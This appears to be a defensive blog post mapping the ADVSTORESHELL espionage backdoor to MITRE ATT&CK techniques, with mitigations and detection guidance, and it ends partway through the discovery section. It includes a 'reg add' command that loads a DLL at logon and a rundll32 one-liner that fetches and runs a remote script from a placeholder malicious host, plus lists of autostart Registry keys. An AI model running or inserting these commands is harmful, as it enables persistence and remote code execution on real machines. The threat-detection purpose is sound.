Track Common Adversary Tasks Performed Using ADVSTORESHELL

Presented by: Ashwin (Microsoft Azure MVP)

ADVSTORESHELL is a spying backdoor that has been used by APT28 from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase.

Source:

MITRE ATT&CK® Matrix for Enterprise


Now, let's see the details around the series of events associated with this software in chronological order, and how we can work to mitigate or detect these threats.

Command and Scripting Interpreter

Execution

Windows Command Shell

ADVSTORESHELL can create a remote shell and run a given command.

Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via Remote Services such as SSH.

Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

Adversaries may leverage cmd to execute various commands and payloads. Common uses include cmd to execute a single command, or abusing cmd interactively with input and output forwarded over a command and control channel.

Execution Prevention

Use application control where appropriate.

Monitoring the following activities in your Organization can help you detect this technique.

Command: Command Execution

Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)

Monitor executed commands and arguments that may abuse the Windows command shell for execution. Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.

Process: Process Creation

Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)

Monitor for newly executed processes that may abuse the Windows command shell for execution.

Native API

Execution

ADVSTORESHELL is capable of starting a process using CreateProcess.

Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes. These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.

Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes. This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.

Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.

Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to Command and Scripting Interpreter, the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via Disable or Modify Tools).

Behavior Prevention on Endpoint

On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent Office VBA macros from calling Win32 APIs. 

Execution Prevention

Identify and block potentially malicious software executed that may be executed through this technique by using application control  tools, like Windows Defender Application Control, AppLocker,  or Software Restriction Policies  where appropriate.

Monitoring the following activities in your Organization can help you detect this technique.

Module: Module Load

Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)

Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Utilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity.

Process: OS API Execution

Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)

Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.2`

Event Triggered Execution

Persistence

Component Object Model Hijacking

Some variants of ADVSTORESHELL achieve persistence by registering the payload as a Shell Icon Overlay handler COM object.

Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system. References to various COM objects are stored in the Registry.

Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.

Monitoring the following activities in your Organization can help you detect this technique.

Command: Command Execution

Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)

Monitor executed commands and arguments that may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

Module: Module Load

Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)

Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.

Process: Process Creation

Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)

Monitor newly executed processes that may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

Windows Registry: Windows Registry Key Modification

Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)

There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: Reg) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID. Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated.

Boot or Logon Autostart Execution

Persistence

Registry Run Keys / Startup Folder

ADVSTORESHELL achieves persistence by adding itself to the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Registry key.

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.

The following run keys are created by default on Windows systems:

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

Run keys may exist under multiple hives. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" 

The following Registry keys can be used to set startup folder items for persistence:

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

The following Registry keys can control automatic startup of services during boot:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.

Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.

Monitoring the following activities in your Organization can help you detect this technique.

Command: Command Execution

Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)

Monitor executed commands and arguments that may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key.

File: File Modification

Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)

Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including the startup folders.

Windows Registry: Windows Registry Key Creation

Initial construction of a new Registry Key (ex: Windows EID 4656 or Sysmon EID 12)

Monitor for newly created windows registry keys that may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key.

Windows Registry: Windows Registry Key Modification

Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)

Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations.

Event Triggered Execution

Privilege Escalation

Component Object Model Hijacking

Some variants of ADVSTORESHELL achieve persistence by registering the payload as a Shell Icon Overlay handler COM object.

Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system. References to various COM objects are stored in the Registry.

Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.

Monitoring the following activities in your Organization can help you detect this technique.

Command: Command Execution

Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)

Monitor executed commands and arguments that may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

Module: Module Load

Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)

Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.

Process: Process Creation

Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)

Monitor newly executed processes that may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

Windows Registry: Windows Registry Key Modification

Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)

There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: Reg) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\Software\Classes\CLSID\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID. Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated.

Boot or Logon Autostart Execution

Privilege Escalation

Registry Run Keys / Startup Folder

ADVSTORESHELL achieves persistence by adding itself to the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Registry key.

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.

The following run keys are created by default on Windows systems:

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

Run keys may exist under multiple hives. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" 

The following Registry keys can be used to set startup folder items for persistence:

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

The following Registry keys can control automatic startup of services during boot:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.

Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.

Monitoring the following activities in your Organization can help you detect this technique.

Command: Command Execution

Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)

Monitor executed commands and arguments that may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key.

File: File Modification

Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)

Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including the startup folders.

Windows Registry: Windows Registry Key Creation

Initial construction of a new Registry Key (ex: Windows EID 4656 or Sysmon EID 12)

Monitor for newly created windows registry keys that may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key.

Windows Registry: Windows Registry Key Modification

Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)

Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations.

Obfuscated Files or Information

Defense Evasion

Most of the strings in ADVSTORESHELL are encrypted with an XOR-based algorithm; some strings are also encrypted with 3DES and reversed. API function names are also reversed, presumably to avoid detection in memory.

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.  Adversaries may also used compressed or archived scripts, such as JavaScript.

Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.  Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. 

Adversaries may also obfuscate commands executed from payloads or directly via a Command and Scripting Interpreter. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.

Antivirus/Antimalware

Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 to analyze commands after being processed/interpreted. 

Behavior Prevention on Endpoint

On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent execution of potentially obfuscated scripts.

Monitoring the following activities in your Organization can help you detect this technique.

Command: Command Execution

Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)

Monitor executed commands and arguments containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''"'''. Deobfuscation tools can be used to detect these indicators in files/payloads.

File: File Creation

Initial construction of a new file (ex: Sysmon EID 11)

Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).

File: File Metadata

Contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/ower, permissions, etc.

Monitor for contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/ower, permissions, etc.

Process: Process Creation

Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)

Monitor for newly executed processes that may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.

Indicator Removal on Host

Defense Evasion

File Deletion

ADVSTORESHELL can delete files and directories.

Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples of built-in Command and Scripting Interpreter functions include del on Windows and rm or unlink on Linux and macOS.

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.

Monitoring the following activities in your Organization can help you detect this technique.

Command: Command Execution

Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)

Monitor executed commands and arguments for actions that could be utilized to unlink, rename, or delete files.

File: File Deletion

Removal of a file (ex: Sysmon EID 23, macOS ESF EID ES_EVENT_TYPE_AUTH_UNLINK, or Linux commands auditd unlink, rename, rmdir, unlinked, or renameat rules)

Monitor for unexpected deletion of files from the system

Modify Registry

Defense Evasion

ADVSTORESHELL is capable of setting and deleting Registry values.

Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.

Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification.  Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API.

Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via Reg or other utilities using the Win32 API.  Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence. 

The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system.  Often Valid Accounts are required, along with access to the remote system's SMB/Windows Admin Shares for RPC communication.

Restrict Registry Permissions

Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.

Monitoring the following activities in your Organization can help you detect this technique.

Command: Command Execution

Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)

Monitor executed commands and arguments for actions that could be taken to change, conceal, and/or delete information in the Registry. The Registry may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.

Process: OS API Execution

Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)

Monitor for API calls associated with concealing Registry keys, such as Reghide.  Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns  and RegDelNull.

Process: Process Creation

Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)

Monitor processes and command-line arguments for actions that could be taken to change, conceal, and/or delete information in the Registry. (i.e. reg.exe, regedit.exe)

Windows Registry: Windows Registry Key Creation

Initial construction of a new Registry Key (ex: Windows EID 4656 or Sysmon EID 12)

Monitor for newly constructed registry keys or values to aid in persistence and execution.

Windows Registry: Windows Registry Key Deletion

Removal of a Registry Key (ex: Windows EID 4658 or Sysmon EID 12)

Monitor for unexpected deletion of windows registry keys to hide configuration information, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.

Windows Registry: Windows Registry Key Modification

Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)

Monitor for changes made to windows registry keys or values. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods).  Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.

System Binary Proxy Execution

Defense Evasion

Rundll32

ADVSTORESHELL has used rundll32.exe in a Registry value to establish persistence.

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. 

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. 

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones. DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.

Exploit Protection

Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass application control.

Monitoring the following activities in your Organization can help you detect this technique.

Command: Command Execution

Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)

Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.

File: File Metadata

Contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/ower, permissions, etc.

Analyze contextual data about executed DLL files, which may include information such as name, the content (ex: signature, headers, or data/media), age, user/ower, permissions, etc.

Module: Module Load

Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)

Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.

Process: Process Creation

Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)

Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.

Input Capture

Credential Access

Keylogging


ADVSTORESHELL can perform keylogging.

Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.

Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes. Some methods include:

  • Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data.
  • Reading raw keystroke data from the hardware buffer.
  • Windows Registry modifications.
  • Custom drivers.
  • Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.

Monitoring the following activities in your Organization can help you detect this technique.

Driver: Driver Load

Attaching a driver to either user or kernel-mode of a system (ex: Sysmon EID 6)

Monitor for unusual kernel driver installation activity

Process: OS API Execution

Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)


Monitor for API calls to the SetWindowsHook, GetKeyState, and GetAsyncKeyState. and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.

Windows Registry: Windows Registry Key Modification

Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)

Monitor for changes made to windows registry keys or values for unexpected modifications

Query Registry

Discovery

ADVSTORESHELL can enumerate registry keys.

Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.

The Registry contains a significant amount of information about the operating system, configuration, software, and security. Information can easily be queried using the Reg utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from Query Registry during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.

Monitoring the following activities in your Organization can help you detect this technique.

Command: Command Execution

Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)

Monitor executed commands and arguments for actions that may interact with the Windows Registry to gather information about the system, configuration, and installed software.

Process: OS API Execution

Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)

Monitor for API calls (such as RegOpenKeyExA) that may interact with the Windows Registry to gather information about the system, configuration, and installed software.

Process: Process Creation

Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)

Monitor for newly executed processes that may interact with the Windows Registry to gather information about the system, configuration, and installed software.

Windows Registry: Windows Registry Key Access

Opening a Registry Key, typically to read the associated value (ex: Windows EID 4656)

Monitor for unexpected process interactions with the Windows Registry (i.e. reads) that may be related to gathering information.

Process Discovery

Discovery

ADVSTORESHELL can list running processes.

Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

In Windows environments, adversaries could obtain details on running processes using the Tasklist utility via cmd or Get-Process via PowerShell. Information about processes can also be extracted from the output of Native API calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.

Monitoring the following activities in your Organization can help you detect this technique.

Command: Command Execution

Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)

